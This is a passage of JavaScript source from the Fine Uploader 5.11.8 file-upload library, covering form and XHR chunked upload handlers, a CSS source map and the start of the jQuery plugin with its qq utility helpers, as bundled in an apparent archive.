                if ((qq.isInput(el, true) || el.tagName.toLowerCase() === "textarea") && notIrrelevantType(el.type) && !ignoreValue(el)) {
                    obj[el.name] = el.value;
                } else if (el.tagName.toLowerCase() === "select" && !ignoreValue(el)) {
                    var value = selectValue(el);
                    if (value !== null) {
                        obj[el.name] = value;
                    }
                }
            });
            return obj;
        }
    });
    qq.traditional = qq.traditional || {};
    qq.traditional.FormUploadHandler = function(options, proxy) {
        "use strict";
        var handler = this, getName = proxy.getName, getUuid = proxy.getUuid, log = proxy.log;
        function getIframeContentJson(id, iframe) {
            var response, doc, innerHtml;
            try {
                doc = iframe.contentDocument || iframe.contentWindow.document;
                innerHtml = doc.body.innerHTML;
                log("converting iframe's innerHTML to JSON");
                log("innerHTML = " + innerHtml);
                if (innerHtml && innerHtml.match(/^<pre/i)) {
                    innerHtml = doc.body.firstChild.firstChild.nodeValue;
                }
                response = handler._parseJsonResponse(innerHtml);
            } catch (error) {
                log("Error when attempting to parse form upload response (" + error.message + ")", "error");
                response = {
                    success: false
                };
            }
            return response;
        }
        function createForm(id, iframe) {
            var params = options.paramsStore.get(id), method = options.method.toLowerCase() === "get" ? "GET" : "POST", endpoint = options.endpointStore.get(id), name = getName(id);
            params[options.uuidName] = getUuid(id);
            params[options.filenameParam] = name;
            return handler._initFormForUpload({
                method: method,
                endpoint: endpoint,
                params: params,
                paramsInBody: options.paramsInBody,
                targetName: iframe.name
            });
        }
        this.uploadFile = function(id) {
            var input = handler.getInput(id), iframe = handler._createIframe(id), promise = new qq.Promise(), form;
            form = createForm(id, iframe);
            form.appendChild(input);
            handler._attachLoadEvent(iframe, function(responseFromMessage) {
                log("iframe loaded");
                var response = responseFromMessage ? responseFromMessage : getIframeContentJson(id, iframe);
                handler._detachLoadEvent(id);
                if (!options.cors.expected) {
                    qq(iframe).remove();
                }
                if (response.success) {
                    promise.success(response);
                } else {
                    promise.failure(response);
                }
            });
            log("Sending upload request for " + id);
            form.submit();
            qq(form).remove();
            return promise;
        };
        qq.extend(this, new qq.FormUploadHandler({
            options: {
                isCors: options.cors.expected,
                inputName: options.inputName
            },
            proxy: {
                onCancel: options.onCancel,
                getName: getName,
                getUuid: getUuid,
                log: log
            }
        }));
    };
    qq.traditional = qq.traditional || {};
    qq.traditional.XhrUploadHandler = function(spec, proxy) {
        "use strict";
        var handler = this, getName = proxy.getName, getSize = proxy.getSize, getUuid = proxy.getUuid, log = proxy.log, multipart = spec.forceMultipart || spec.paramsInBody, addChunkingSpecificParams = function(id, params, chunkData) {
            var size = getSize(id), name = getName(id);
            params[spec.chunking.paramNames.partIndex] = chunkData.part;
            params[spec.chunking.paramNames.partByteOffset] = chunkData.start;
            params[spec.chunking.paramNames.chunkSize] = chunkData.size;
            params[spec.chunking.paramNames.totalParts] = chunkData.count;
            params[spec.totalFileSizeName] = size;
            if (multipart) {
                params[spec.filenameParam] = name;
            }
        }, allChunksDoneRequester = new qq.traditional.AllChunksDoneAjaxRequester({
            cors: spec.cors,
            endpoint: spec.chunking.success.endpoint,
            log: log
        }), createReadyStateChangedHandler = function(id, xhr) {
            var promise = new qq.Promise();
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4) {
                    var result = onUploadOrChunkComplete(id, xhr);
                    if (result.success) {
                        promise.success(result.response, xhr);
                    } else {
                        promise.failure(result.response, xhr);
                    }
                }
            };
            return promise;
        }, getChunksCompleteParams = function(id) {
            var params = spec.paramsStore.get(id), name = getName(id), size = getSize(id);
            params[spec.uuidName] = getUuid(id);
            params[spec.filenameParam] = name;
            params[spec.totalFileSizeName] = size;
            params[spec.chunking.paramNames.totalParts] = handler._getTotalChunks(id);
            return params;
        }, isErrorUploadResponse = function(xhr, response) {
            return qq.indexOf([ 200, 201, 202, 203, 204 ], xhr.status) < 0 || !response.success || response.reset;
        }, onUploadOrChunkComplete = function(id, xhr) {
            var response;
            log("xhr - server response received for " + id);
            log("responseText = " + xhr.responseText);
            response = parseResponse(true, xhr);
            return {
                success: !isErrorUploadResponse(xhr, response),
                response: response
            };
        }, parseResponse = function(upload, xhr) {
            var response = {};
            try {
                log(qq.format("Received response status {} with body: {}", xhr.status, xhr.responseText));
                response = qq.parseJson(xhr.responseText);
            } catch (error) {
                upload && log("Error when attempting to parse xhr response text (" + error.message + ")", "error");
            }
            return response;
        }, sendChunksCompleteRequest = function(id) {
            var promise = new qq.Promise();
            allChunksDoneRequester.complete(id, handler._createXhr(id), getChunksCompleteParams(id), spec.customHeaders.get(id)).then(function(xhr) {
                promise.success(parseResponse(false, xhr), xhr);
            }, function(xhr) {
                promise.failure(parseResponse(false, xhr), xhr);
            });
            return promise;
        }, setParamsAndGetEntityToSend = function(params, xhr, fileOrBlob, id) {
            var formData = new FormData(), method = spec.method, endpoint = spec.endpointStore.get(id), name = getName(id), size = getSize(id);
            params[spec.uuidName] = getUuid(id);
            params[spec.filenameParam] = name;
            if (multipart) {
                params[spec.totalFileSizeName] = size;
            }
            if (!spec.paramsInBody) {
                if (!multipart) {
                    params[spec.inputName] = name;
                }
                endpoint = qq.obj2url(params, endpoint);
            }
            xhr.open(method, endpoint, true);
            if (spec.cors.expected && spec.cors.sendCredentials) {
                xhr.withCredentials = true;
            }
            if (multipart) {
                if (spec.paramsInBody) {
                    qq.obj2FormData(params, formData);
                }
                formData.append(spec.inputName, fileOrBlob);
                return formData;
            }
            return fileOrBlob;
        }, setUploadHeaders = function(id, xhr) {
            var extraHeaders = spec.customHeaders.get(id), fileOrBlob = handler.getFile(id);
            xhr.setRequestHeader("Accept", "application/json");
            xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
            xhr.setRequestHeader("Cache-Control", "no-cache");
            if (!multipart) {
                xhr.setRequestHeader("Content-Type", "application/octet-stream");
                xhr.setRequestHeader("X-Mime-Type", fileOrBlob.type);
            }
            qq.each(extraHeaders, function(name, val) {
                xhr.setRequestHeader(name, val);
            });
        };
        qq.extend(this, {
            uploadChunk: function(id, chunkIdx, resuming) {
                var chunkData = handler._getChunkData(id, chunkIdx), xhr = handler._createXhr(id, chunkIdx), size = getSize(id), promise, toSend, params;
                promise = createReadyStateChangedHandler(id, xhr);
                handler._registerProgressHandler(id, chunkIdx, chunkData.size);
                params = spec.paramsStore.get(id);
                addChunkingSpecificParams(id, params, chunkData);
                if (resuming) {
                    params[spec.resume.paramNames.resuming] = true;
                }
                toSend = setParamsAndGetEntityToSend(params, xhr, chunkData.blob, id);
                setUploadHeaders(id, xhr);
                xhr.send(toSend);
                return promise;
            },
            uploadFile: function(id) {
                var fileOrBlob = handler.getFile(id), promise, xhr, params, toSend;
                xhr = handler._createXhr(id);
                handler._registerProgressHandler(id);
                promise = createReadyStateChangedHandler(id, xhr);
                params = spec.paramsStore.get(id);
                toSend = setParamsAndGetEntityToSend(params, xhr, fileOrBlob, id);
                setUploadHeaders(id, xhr);
                xhr.send(toSend);
                return promise;
            }
        });
        qq.extend(this, new qq.XhrUploadHandler({
            options: qq.extend({
                namespace: "traditional"
            }, spec),
            proxy: qq.extend({
                getEndpoint: spec.endpointStore.get
            }, proxy)
        }));
        qq.override(this, function(super_) {
            return {
                finalizeChunks: function(id) {
                    if (spec.chunking.success.endpoint) {
                        return sendChunksCompleteRequest(id);
                    } else {
                        return super_.finalizeChunks(id, qq.bind(parseResponse, this, true));
                    }
                }
            };
        });
    };
    qq.traditional.AllChunksDoneAjaxRequester = function(o) {
        "use strict";
        var requester, method = "POST", options = {
            cors: {
                allowXdr: false,
                expected: false,
                sendCredentials: false
            },
            endpoint: null,
            log: function(str, level) {}
        }, promises = {}, endpointHandler = {
            get: function(id) {
                return options.endpoint;
            }
        };
        qq.extend(options, o);
        requester = qq.extend(this, new qq.AjaxRequester({
            acceptHeader: "application/json",
            validMethods: [ method ],
            method: method,
            endpointStore: endpointHandler,
            allowXRequestedWithAndCacheControl: false,
            cors: options.cors,
            log: options.log,
            onComplete: function(id, xhr, isError) {
                var promise = promises[id];
                delete promises[id];
                if (isError) {
                    promise.failure(xhr);
                } else {
                    promise.success(xhr);
                }
            }
        }));
        qq.extend(this, {
            complete: function(id, xhr, params, headers) {
                var promise = new qq.Promise();
                options.log("Submitting All Chunks Done request for " + id);
                promises[id] = promise;
                requester.initTransport(id).withParams(params).withHeaders(headers).send(xhr);
                return promise;
            }
        });
    };
})(window);
//# sourceMappingURL=fine-uploader.core.js.mapjs/fileupload/fine-uploader.min.css.map000060400000003217150710775200014111 0ustar00{"version":3,"sources":["_build/fine-uploader.css"],"names":[],"mappings":"AAAA,aACI,SAAU,SACV,MAAO,KAEX,kBACI,QAAS,MACT,MAAO,MACP,QAAS,IAAI,EACb,WAAY,OACZ,WAAY,KACZ,cAAe,IAAI,MAAM,KACzB,MAAO,KAEX,wBACI,WAAY,KAEhB,wBACI,QAAoB,KAAP,OAAJ,IAEb,qBAAsB,2BAClB,SAAU,SACV,IAAK,EACL,KAAM,EACN,MAAO,KACP,OAAQ,KACR,WAAY,KACZ,QAAS,EACT,WAAY,QACZ,WAAY,OAEhB,0BACI,QAAS,MACT,SAAU,SACV,IAAK,IACL,MAAO,KACP,WAAY,KACZ,UAAW,KAEf,2BACI,SAAU,SACV,WAAY,KACZ,UAAW,KACX,YAAa,KACb,OAAQ,KACR,WAAY,KAEhB,4BACI,WAAY,QAEhB,gBACI,OAAQ,EACR,QAAS,EACT,WAAY,KAEhB,mBACI,OAAQ,EACR,QAAS,IACT,YAAa,KACb,UAAW,KACX,iBAAkB,QAGtB,kBACqC,oBAArC,kBADqC,uBADrC,gBAEmB,iBADA,iBADkB,gBAApB,mBAGb,aAAc,KACd,QAAS,OAIb,mBACI,QAAS,aACT,WAAY,iBACZ,MAAO,KACP,OAAQ,KACR,eAAgB,YAEpB,oBACI,QAAS,MAEb,4BACI,QAAS,aACT,WAAY,oBACZ,MAAO,KACP,OAAQ,KACR,eAAgB,YAGiB,oBAArC,kBAAmB,iBACf,QAAS,OAGwB,kBACnB,oBADA,kBAClB,iBADA,iBAEI,MAAO,KAGM,kBACoB,oBAArC,kBAAmB,iBADiB,iBAApC,gBAEI,UAAW,KACX,YAAa,IAEjB,uBACI,QAAS,KACT,WAAY,OACZ,YAAa,IAEjB,uBACI,QAAQ,KACR,MAAM,KACN,OAAO,KACP,eAAe,YAEnB,uCACI,QAAS,OAEb,2CACI,QAAS,OACT,MAAO,QAEX,qCACI,iBAAkB,QAClB,MAAO,KAEX,kCACI,iBAAkB,QAClB,MAAO,KAEX,iBACI,QAAS,MACT,WAAY,qHACZ,WAAwB,yLACxB,WAA8C,wHAC9C,WAAyE,mHACzE,WAA4F,oHAC5F,WAAwG,sHACxG,MAA6G,EAC7G,OAAQ,KACR,cAAe,IACf,cAAe,IAGnB,uBACI,OAAQ,KACR,cAAe,IAGnB,iCACI,OAAQ,IAGZ,uBACI,SAAU,SACV,QAAS,EACT,OAAQ,iBACR,QAAS,GACT,WAAY,qDAGhB,4BACI,OAAQ,QAGZ,mCACI,QAAS,aACT,OAAQ,QAuBZ,SAaA,oBACI,QAAS,KAlCb,kCACI,SAAU,OACV,WAAY,KACZ,aAAc,KACd,cAAe,KAEf,QAAS,EACT,OAAQ,mBACR,WAAY,uDAGhB,uBACI,QAAS,KACT,WAAY,cACZ,MAAO,KACP,OAAQ,KACR,eAAgB,YAChB,aAAc,IAoBlB,0BACI,QAAS,MAGb,uCACI,WAAY,OACZ,YAAa,KAGjB,8CACI,YAAa,IACb,aAAc,IAGlB,gDACI,eAAgB,KAGpB,8BACI,iBAAkB"}js/fileupload/jquery.fine-uploader.js000060400001262762150710775200013732 0ustar00// Fine Uploader 5.11.8 - (c) 2013-present Widen Enterprises, Inc. MIT licensed. http://fineuploader.com
(function(global) {
    (function($) {
        "use strict";
        var $el, pluginOptions = [ "uploaderType", "endpointType" ];
        function init(options) {
            var xformedOpts = transformVariables(options || {}), newUploaderInstance = getNewUploaderInstance(xformedOpts);
            uploader(newUploaderInstance);
            addCallbacks(xformedOpts, newUploaderInstance);
            return $el;
        }
        function getNewUploaderInstance(params) {
            var uploaderType = pluginOption("uploaderType"), namespace = pluginOption("endpointType");
            if (uploaderType) {
                uploaderType = uploaderType.charAt(0).toUpperCase() + uploaderType.slice(1).toLowerCase();
                if (namespace) {
                    return new qq[namespace]["FineUploader" + uploaderType](params);
                }
                return new qq["FineUploader" + uploaderType](params);
            } else {
                if (namespace) {
                    return new qq[namespace].FineUploader(params);
                }
                return new qq.FineUploader(params);
            }
        }
        function dataStore(key, val) {
            var data = $el.data("fineuploader");
            if (val) {
                if (data === undefined) {
                    data = {};
                }
                data[key] = val;
                $el.data("fineuploader", data);
            } else {
                if (data === undefined) {
                    return null;
                }
                return data[key];
            }
        }
        function uploader(instanceToStore) {
            return dataStore("uploader", instanceToStore);
        }
        function pluginOption(option, optionVal) {
            return dataStore(option, optionVal);
        }
        function addCallbacks(transformedOpts, newUploaderInstance) {
            var callbacks = transformedOpts.callbacks = {};
            $.each(newUploaderInstance._options.callbacks, function(prop, nonJqueryCallback) {
                var name, callbackEventTarget;
                name = /^on(\w+)/.exec(prop)[1];
                name = name.substring(0, 1).toLowerCase() + name.substring(1);
                callbackEventTarget = $el;
                callbacks[prop] = function() {
                    var originalArgs = Array.prototype.slice.call(arguments), transformedArgs = [], nonJqueryCallbackRetVal, jqueryEventCallbackRetVal;
                    $.each(originalArgs, function(idx, arg) {
                        transformedArgs.push(maybeWrapInJquery(arg));
                    });
                    nonJqueryCallbackRetVal = nonJqueryCallback.apply(this, originalArgs);
                    try {
                        jqueryEventCallbackRetVal = callbackEventTarget.triggerHandler(name, transformedArgs);
                    } catch (error) {
                        qq.log("Caught error in Fine Uploader jQuery event handler: " + error.message, "error");
                    }
                    if (nonJqueryCallbackRetVal != null) {
                        return nonJqueryCallbackRetVal;
                    }
                    return jqueryEventCallbackRetVal;
                };
            });
            newUploaderInstance._options.callbacks = callbacks;
        }
        function transformVariables(source, dest) {
            var xformed, arrayVals;
            if (dest === undefined) {
                if (source.uploaderType !== "basic") {
                    xformed = {
                        element: $el[0]
                    };
                } else {
                    xformed = {};
                }
            } else {
                xformed = dest;
            }
            $.each(source, function(prop, val) {
                if ($.inArray(prop, pluginOptions) >= 0) {
                    pluginOption(prop, val);
                } else if (val instanceof $) {
                    xformed[prop] = val[0];
                } else if ($.isPlainObject(val)) {
                    xformed[prop] = {};
                    transformVariables(val, xformed[prop]);
                } else if ($.isArray(val)) {
                    arrayVals = [];
                    $.each(val, function(idx, arrayVal) {
                        var arrayObjDest = {};
                        if (arrayVal instanceof $) {
                            $.merge(arrayVals, arrayVal);
                        } else if ($.isPlainObject(arrayVal)) {
                            transformVariables(arrayVal, arrayObjDest);
                            arrayVals.push(arrayObjDest);
                        } else {
                            arrayVals.push(arrayVal);
                        }
                    });
                    xformed[prop] = arrayVals;
                } else {
                    xformed[prop] = val;
                }
            });
            if (dest === undefined) {
                return xformed;
            }
        }
        function isValidCommand(command) {
            return $.type(command) === "string" && !command.match(/^_/) && uploader()[command] !== undefined;
        }
        function delegateCommand(command) {
            var xformedArgs = [], origArgs = Array.prototype.slice.call(arguments, 1), retVal;
            transformVariables(origArgs, xformedArgs);
            retVal = uploader()[command].apply(uploader(), xformedArgs);
            return maybeWrapInJquery(retVal);
        }
        function maybeWrapInJquery(val) {
            var transformedVal = val;
            if (val != null && typeof val === "object" && (val.nodeType === 1 || val.nodeType === 9) && val.cloneNode) {
                transformedVal = $(val);
            }
            return transformedVal;
        }
        $.fn.fineUploader = function(optionsOrCommand) {
            var self = this, selfArgs = arguments, retVals = [];
            this.each(function(index, el) {
                $el = $(el);
                if (uploader() && isValidCommand(optionsOrCommand)) {
                    retVals.push(delegateCommand.apply(self, selfArgs));
                    if (self.length === 1) {
                        return false;
                    }
                } else if (typeof optionsOrCommand === "object" || !optionsOrCommand) {
                    init.apply(self, selfArgs);
                } else {
                    $.error("Method " + optionsOrCommand + " does not exist on jQuery.fineUploader");
                }
            });
            if (retVals.length === 1) {
                return retVals[0];
            } else if (retVals.length > 1) {
                return retVals;
            }
            return this;
        };
    })(jQuery);
    var qq = function(element) {
        "use strict";
        return {
            hide: function() {
                element.style.display = "none";
                return this;
            },
            attach: function(type, fn) {
                if (element.addEventListener) {
                    element.addEventListener(type, fn, false);
                } else if (element.attachEvent) {
                    element.attachEvent("on" + type, fn);
                }
                return function() {
                    qq(element).detach(type, fn);
                };
            },
            detach: function(type, fn) {
                if (element.removeEventListener) {
                    element.removeEventListener(type, fn, false);
                } else if (element.attachEvent) {
                    element.detachEvent("on" + type, fn);
                }
                return this;
            },
            contains: function(descendant) {
                if (!descendant) {
                    return false;
                }
                if (element === descendant) {
                    return true;
                }
                if (element.contains) {
                    return element.contains(descendant);
                } else {
                    return !!(descendant.compareDocumentPosition(element) & 8);
                }
            },
            insertBefore: function(elementB) {
                elementB.parentNode.insertBefore(element, elementB);
                return this;
            },
            remove: function() {
                element.parentNode.removeChild(element);
                return this;
            },
            css: function(styles) {
                if (element.style == null) {
                    throw new qq.Error("Can't apply style to node as it is not on the HTMLElement prototype chain!");
                }
                if (styles.opacity != null) {
                    if (typeof element.style.opacity !== "string" && typeof element.filters !== "undefined") {
                        styles.filter = "alpha(opacity=" + Math.round(100 * styles.opacity) + ")";
                    }
                }
                qq.extend(element.style, styles);
                return this;
            },
            hasClass: function(name, considerParent) {
                var re = new RegExp("(^| )" + name + "( |$)");
                return re.test(element.className) || !!(considerParent && re.test(element.parentNode.className));
            },
            addClass: function(name) {
                if (!qq(element).hasClass(name)) {
                    element.className += " " + name;
                }
                return this;
            },
            removeClass: function(name) {
                var re = new RegExp("(^| )" + name + "( |$)");
                element.className = element.className.replace(re, " ").replace(/^\s+|\s+$/g, "");
                return this;
            },
            getByClass: function(className, first) {
                var candidates, result = [];
                if (first && element.querySelector) {
                    return element.querySelector("." + className);
                } else if (element.querySelectorAll) {
                    return element.querySelectorAll("." + className);
                }
                candidates = element.getElementsByTagName("*");
                qq.each(candidates, function(idx, val) {
                    if (qq(val).hasClass(className)) {
                        result.push(val);
                    }
                });
                return first ? result[0] : result;
            },
            getFirstByClass: function(className) {
                return qq(element).getByClass(className, true);
            },
            children: function() {
                var children = [], child = element.firstChild;
                while (child) {
                    if (child.nodeType === 1) {
                        children.push(child);
                    }
                    child = child.nextSibling;
                }
                return children;
            },
            setText: function(text) {
                element.innerText = text;
                element.textContent = text;
                return this;
            },
            clearText: function() {
                return qq(element).setText("");
            },
            hasAttribute: function(attrName) {
                var attrVal;
                if (element.hasAttribute) {
                    if (!element.hasAttribute(attrName)) {
                        return false;
                    }
                    return /^false$/i.exec(element.getAttribute(attrName)) == null;
                } else {
                    attrVal = element[attrName];
                    if (attrVal === undefined) {
                        return false;
                    }
                    return /^false$/i.exec(attrVal) == null;
                }
            }
        };
    };
    (function() {
        "use strict";
        qq.canvasToBlob = function(canvas, mime, quality) {
            return qq.dataUriToBlob(canvas.toDataURL(mime, quality));
        };
        qq.dataUriToBlob = function(dataUri) {
            var arrayBuffer, byteString, createBlob = function(data, mime) {
                var BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder || window.MSBlobBuilder, blobBuilder = BlobBuilder && new BlobBuilder();
                if (blobBuilder) {
                    blobBuilder.append(data);
                    return blobBuilder.getBlob(mime);
                } else {
                    return new Blob([ data ], {
                        type: mime
                    });
                }
            }, intArray, mimeString;
            if (dataUri.split(",")[0].indexOf("base64") >= 0) {
                byteString = atob(dataUri.split(",")[1]);
            } else {
                byteString = decodeURI(dataUri.split(",")[1]);
            }
            mimeString = dataUri.split(",")[0].split(":")[1].split(";")[0];
            arrayBuffer = new ArrayBuffer(byteString.length);
            intArray = new Uint8Array(arrayBuffer);
            qq.each(byteString, function(idx, character) {
                intArray[idx] = character.charCodeAt(0);
            });
            return createBlob(arrayBuffer, mimeString);
        };
        qq.log = function(message, level) {
            if (window.console) {
                if (!level || level === "info") {
                    window.console.log(message);
                } else {
                    if (window.console[level]) {
                        window.console[level](message);
                    } else {
                        window.console.log("<" + level + "> " + message);
                    }
                }
            }
        };
        qq.isObject = function(variable) {
            return variable && !variable.nodeType && Object.prototype.toString.call(variable) === "[object Object]";
        };
        qq.isFunction = function(variable) {
            return typeof variable === "function";
        };
        qq.isArray = function(value) {
            return Object.prototype.toString.call(value) === "[object Array]" || value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer;
        };
        qq.isItemList = function(maybeItemList) {
            return Object.prototype.toString.call(maybeItemList) === "[object DataTransferItemList]";
        };
        qq.isNodeList = function(maybeNodeList) {
            return Object.prototype.toString.call(maybeNodeList) === "[object NodeList]" || maybeNodeList.item && maybeNodeList.namedItem;
        };
        qq.isString = function(maybeString) {
            return Object.prototype.toString.call(maybeString) === "[object String]";
        };
        qq.trimStr = function(string) {
            if (String.prototype.trim) {
                return string.trim();
            }
            return string.replace(/^\s+|\s+$/g, "");
        };
        qq.format = function(str) {
            var args = Array.prototype.slice.call(arguments, 1), newStr = str, nextIdxToReplace = newStr.indexOf("{}");
            qq.each(args, function(idx, val) {
                var strBefore = newStr.substring(0, nextIdxToReplace), strAfter = newStr.substring(nextIdxToReplace + 2);
                newStr = strBefore + val + strAfter;
                nextIdxToReplace = newStr.indexOf("{}", nextIdxToReplace + val.length);
                if (nextIdxToReplace < 0) {
                    return false;
                }
            });
            return newStr;
        };
        qq.isFile = function(maybeFile) {
            return window.File && Object.prototype.toString.call(maybeFile) === "[object File]";
        };
        qq.isFileList = function(maybeFileList) {
            return window.FileList && Object.prototype.toString.call(maybeFileList) === "[object FileList]";
        };
        qq.isFileOrInput = function(maybeFileOrInput) {
            return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);
        };
        qq.isInput = function(maybeInput, notFile) {
            var evaluateType = function(type) {
                var normalizedType = type.toLowerCase();
                if (notFile) {
                    return normalizedType !== "file";
                }
                return normalizedType === "file";
            };
            if (window.HTMLInputElement) {
                if (Object.prototype.toString.call(maybeInput) === "[object HTMLInputElement]") {
                    if (maybeInput.type && evaluateType(maybeInput.type)) {
                        return true;
                    }
                }
            }
            if (maybeInput.tagName) {
                if (maybeInput.tagName.toLowerCase() === "input") {
                    if (maybeInput.type && evaluateType(maybeInput.type)) {
                        return true;
                    }
                }
            }
            return false;
        };
        qq.isBlob = function(maybeBlob) {
            if (window.Blob && Object.prototype.toString.call(maybeBlob) === "[object Blob]") {
                return true;
            }
        };
        qq.isXhrUploadSupported = function() {
            var input = document.createElement("input");
            input.type = "file";
            return input.multiple !== undefined && typeof File !== "undefined" && typeof FormData !== "undefined" && typeof qq.createXhrInstance().upload !== "undefined";
        };
        qq.createXhrInstance = function() {
            if (window.XMLHttpRequest) {
                return new XMLHttpRequest();
            }
            try {
                return new ActiveXObject("MSXML2.XMLHTTP.3.0");
            } catch (error) {
                qq.log("Neither XHR or ActiveX are supported!", "error");
                return null;
            }
        };
        qq.isFolderDropSupported = function(dataTransfer) {
            return dataTransfer.items && dataTransfer.items.length > 0 && dataTransfer.items[0].webkitGetAsEntry;
        };
        qq.isFileChunkingSupported = function() {
            return !qq.androidStock() && qq.isXhrUploadSupported() && (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);
        };
        qq.sliceBlob = function(fileOrBlob, start, end) {
            var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;
            return slicer.call(fileOrBlob, start, end);
        };
        qq.arrayBufferToHex = function(buffer) {
            var bytesAsHex = "", bytes = new Uint8Array(buffer);
            qq.each(bytes, function(idx, byt) {
                var byteAsHexStr = byt.toString(16);
                if (byteAsHexStr.length < 2) {
                    byteAsHexStr = "0" + byteAsHexStr;
                }
                bytesAsHex += byteAsHexStr;
            });
            return bytesAsHex;
        };
        qq.readBlobToHex = function(blob, startOffset, length) {
            var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length), fileReader = new FileReader(), promise = new qq.Promise();
            fileReader.onload = function() {
                promise.success(qq.arrayBufferToHex(fileReader.result));
            };
            fileReader.onerror = promise.failure;
            fileReader.readAsArrayBuffer(initialBlob);
            return promise;
        };
        qq.extend = function(first, second, extendNested) {
            qq.each(second, function(prop, val) {
                if (extendNested && qq.isObject(val)) {
                    if (first[prop] === undefined) {
                        first[prop] = {};
                    }
                    qq.extend(first[prop], val, true);
                } else {
                    first[prop] = val;
                }
            });
            return first;
        };
        qq.override = function(target, sourceFn) {
            var super_ = {}, source = sourceFn(super_);
            qq.each(source, function(srcPropName, srcPropVal) {
                if (target[srcPropName] !== undefined) {
                    super_[srcPropName] = target[srcPropName];
                }
                target[srcPropName] = srcPropVal;
            });
            return target;
        };
        qq.indexOf = function(arr, elt, from) {
            if (arr.indexOf) {
                return arr.indexOf(elt, from);
            }
            from = from || 0;
            var len = arr.length;
            if (from < 0) {
                from += len;
            }
            for (;from < len; from += 1) {
                if (arr.hasOwnProperty(from) && arr[from] === elt) {
                    return from;
                }
            }
            return -1;
        };
        qq.getUniqueId = function() {
            return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function(c) {
                var r = Math.random() * 16 | 0, v = c == "x" ? r : r & 3 | 8;
                return v.toString(16);
            });
        };
        qq.ie = function() {
            return navigator.userAgent.indexOf("MSIE") !== -1 || navigator.userAgent.indexOf("Trident") !== -1;
        };
        qq.ie7 = function() {
            return navigator.userAgent.indexOf("MSIE 7") !== -1;
        };
        qq.ie8 = function() {
            return navigator.userAgent.indexOf("MSIE 8") !== -1;
        };
        qq.ie10 = function() {
            return navigator.userAgent.indexOf("MSIE 10") !== -1;
        };
        qq.ie11 = function() {
            return qq.ie() && navigator.userAgent.indexOf("rv:11") !== -1;
        };
        qq.edge = function() {
            return navigator.userAgent.indexOf("Edge") >= 0;
        };
        qq.safari = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Apple") !== -1;
        };
        qq.chrome = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Google") !== -1;
        };
        qq.opera = function() {
            return navigator.vendor !== undefined && navigator.vendor.indexOf("Opera") !== -1;
        };
        qq.firefox = function() {
            return !qq.edge() && !qq.ie11() && navigator.userAgent.indexOf("Mozilla") !== -1 && navigator.vendor !== undefined && navigator.vendor === "";
        };
        qq.windows = function() {
            return navigator.platform === "Win32";
        };
        qq.android = function() {
            return navigator.userAgent.toLowerCase().indexOf("android") !== -1;
        };
        qq.androidStock = function() {
            return qq.android() && navigator.userAgent.toLowerCase().indexOf("chrome") < 0;
        };
        qq.ios6 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 6_") !== -1;
        };
        qq.ios7 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 7_") !== -1;
        };
        qq.ios8 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 8_") !== -1;
        };
        qq.ios800 = function() {
            return qq.ios() && navigator.userAgent.indexOf(" OS 8_0 ") !== -1;
        };
        qq.ios = function() {
            return navigator.userAgent.indexOf("iPad") !== -1 || navigator.userAgent.indexOf("iPod") !== -1 || navigator.userAgent.indexOf("iPhone") !== -1;
        };
        qq.iosChrome = function() {
            return qq.ios() && navigator.userAgent.indexOf("CriOS") !== -1;
        };
        qq.iosSafari = function() {
            return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf("Safari") !== -1;
        };
        qq.iosSafariWebView = function() {
            return qq.ios() && !qq.iosChrome() && !qq.iosSafari();
        };
        qq.preventDefault = function(e) {
            if (e.preventDefault) {
                e.preventDefault();
            } else {
                e.returnValue = false;
            }
        };
        qq.toElement = function() {
            var div = document.createElement("div");
            return function(html) {
                div.innerHTML = html;
                var element = div.firstChild;
                div.removeChild(element);
                return element;
            };
        }();
        qq.each = function(iterableItem, callback) {
            var keyOrIndex, retVal;
            if (iterableItem) {
                if (window.Storage && iterableItem.constructor === window.Storage) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));
                        if (retVal === false) {
                            break;
                        }
                    }
                } else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);
                        if (retVal === false) {
                            break;
                        }
                    }
                } else if (qq.isString(iterableItem)) {
                    for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {
                        retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));
                        if (retVal === false) {
                            break;
                        }
                    }
                } else {
                    for (keyOrIndex in iterableItem) {
                        if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {
                            retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);
                            if (retVal === false) {
                                break;
                            }
                        }
                    }
                }
            }
        };
        qq.bind = function(oldFunc, context) {
            if (qq.isFunction(oldFunc)) {
                var args = Array.prototype.slice.call(arguments, 2);
                return function() {
                    var newArgs = qq.extend([], args);
                    if (arguments.length) {
                        newArgs = newArgs.concat(Array.prototype.slice.call(arguments));
                    }
                    return oldFunc.apply(context, newArgs);
                };
            }
            throw new Error("first parameter must be a function!");
        };
        qq.obj2url = function(obj, temp, prefixDone) {
            var uristrings = [], prefix = "&", add = function(nextObj, i) {
                var nextTemp = temp ? /\[\]$/.test(temp) ? temp : temp + "[" + i + "]" : i;
                if (nextTemp !== "undefined" && i !== "undefined") {
